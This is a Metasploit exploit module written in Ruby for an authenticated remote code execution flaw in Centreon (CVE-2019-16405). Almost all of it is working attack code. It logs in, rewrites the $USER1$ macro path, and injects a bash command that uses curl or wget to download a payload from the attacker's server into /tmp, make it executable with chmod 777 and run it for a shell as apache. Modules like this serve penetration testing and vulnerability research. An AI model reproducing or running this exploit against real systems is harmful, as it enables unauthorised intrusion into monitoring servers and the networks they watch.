Share
####################################################################  
# This module requires Metasploit: https://metasploit.com/download #  
# Current source: https://github.com/rapid7/metasploit-framework #  
####################################################################  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
"Name" => "Centreon Authenticated Macro Expression Location Setting Handler Code Execution",  
"Description" => %q{  
Authenticated Remote Code Execution on Centreon Web Appliances.  
Affected versions: =< 18.10, 19.04  
By amending the Macros Expression's default directory to / we are able to execute system commands and obtain a shell as user Apache.  
Vendor verified: 09/17/2019  
Vendor patched: 10/16/2019  
Public disclosure: 10/18/2019  
},  
"License" => MSF_LICENSE,  
'Author' => [  
'TheCyberGeek', # Discovery  
'enjloezz' # Discovery and Metasploit Module  
],  
'References' =>  
[  
['URL','https://github.com/centreon/centreon/pull/7864'],  
['CVE','2019-16405']  
],  
"Platform" => "linux",  
"Targets" => [  
["Centreon", {}],  
],  
"Stance" => Msf::Exploit::Stance::Aggressive,  
"Privileged" => false,  
"DisclosureDate" => "Oct 19 2019",  
"DefaultOptions" => {  
"SRVPORT" => 80,  
},  
"DefaultTarget" => 0  
))  
  
register_options(  
[  
OptString.new("TARGETURI", [true, "The URI of the Centreon Application", "/centreon"]),  
OptString.new("USERNAME", [true, "The Username of the Centreon Application", "admin"]),  
OptString.new("PASSWORD", [true, "The Password of the Centreon Application", ""]),  
OptString.new("TARGETS", [true, "The method used to download shell from target (default is curl)", "curl"]),  
OptInt.new("HTTPDELAY", [false, "Number of seconds the web server will wait before termination", 10]),  
]  
)  
end  
  
def exploit  
begin  
res = send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "index.php"),  
"method" => "GET",  
)  
@phpsessid = res.get_cookies  
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body  
  
unless token  
vprint_error("Couldn't get token, check your TARGETURI")  
return  
end  
res = send_request_cgi!(  
"uri" => normalize_uri(target_uri.path, "index.php"),  
"method" => "POST",  
"cookie" => @phpsessid,  
"vars_post" => {  
"useralias" => datastore["USERNAME"],  
"password" => datastore["PASSWORD"],  
"centreon_token" => token,  
},  
)  
unless res.body.include? "You need to enable JavaScript to run this app"  
fail_with Failure::NoAccess "Cannot login to Centreon"  
end  
print_good("Login Successful!")  
res = send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "main.get.php"),  
"method" => "GET",  
"cookie" => @phpsessid,  
"vars_get" => {  
"p" => "60904",  
"o" => "c",  
"resource_id" => 1,  
},  
)  
/centreon_token\".*value=\"(?<token>.*?)\"/ =~ res.body  
res = send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "main.get.php"),  
"vars_get" => {  
"p" => "60904",  
},  
"method" => "POST",  
"cookie" => @phpsessid,  
"vars_post" => {  
"resource_name": "$USER1$",  
"resource_line": "/",  
"instance_id": 1,  
"resource_activate": 1,  
"resource_comment": "Nagios Plugins Path",  
"submitC": "Save",  
"resource_id": 1,  
"o": "c",  
"initialValues": "" "a:0:{}" "",  
"centreon_token": token  
},  
)  
begin  
Timeout.timeout(datastore["HTTPDELAY"]) { super }  
rescue Timeout::Error  
vprint_error("Server Timed Out...")  
end  
rescue ::Rex::ConnectionError  
vprint_error("Connection error...")  
end  
end  
  
def primer  
@pl = generate_payload_exe  
@path = service.resources.keys[0]  
binding_ip = srvhost_addr  
  
proto = ssl ? "https" : "http"  
payload_uri = "#{proto}://#{binding_ip}:#{datastore["SRVPORT"]}/#{@path}"  
send_payload(payload_uri)  
end  
  
def send_payload(payload_uri)  
payload = "/bin/bash -c \"" + ( datastore["method"] == "curl" ? ("curl #{payload_uri} -o") : ("wget #{payload_uri} -O") ) + " /tmp/#{@path}\""  
print_good("Sending Payload")  
send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "main.get.php"),  
"method" => "POST",  
"cookie" => @phpsessid,  
"vars_get" => { "p": "60801", "command_hostaddress": "", "command_example": "", "command_line": payload, "o": "p", "min": 1 },  
)  
end  
  
def on_request_uri(cli, req)  
print_good("#{peer} - Payload request received: #{req.uri}")  
send_response(cli, @pl)  
run_shell  
stop_service  
end  
  
def run_shell  
print_good("Setting permissions for the payload")  
res = send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "main.get.php"),  
"method" => "POST",  
"cookie" => @phpsessid,  
"vars_get" => {  
"p": "60801",  
"command_hostaddress": "",  
"command_example": "",  
"command_line": "/bin/bash -c \"chmod 777 /tmp/#{@path}\"",  
"o": "p",  
"min": 1,  
},  
)  
  
print_good("Executing Payload")  
res = send_request_cgi(  
"uri" => normalize_uri(target_uri.path, "main.get.php"),  
"method" => "POST",  
"cookie" => @phpsessid,  
"vars_get" => {  
"p": "60801",  
"command_hostaddress": "",  
"command_example": "",  
"command_line": "/tmp/#{@path}",  
"o": "p",  
"min": 1,  
},  
)  
end  
end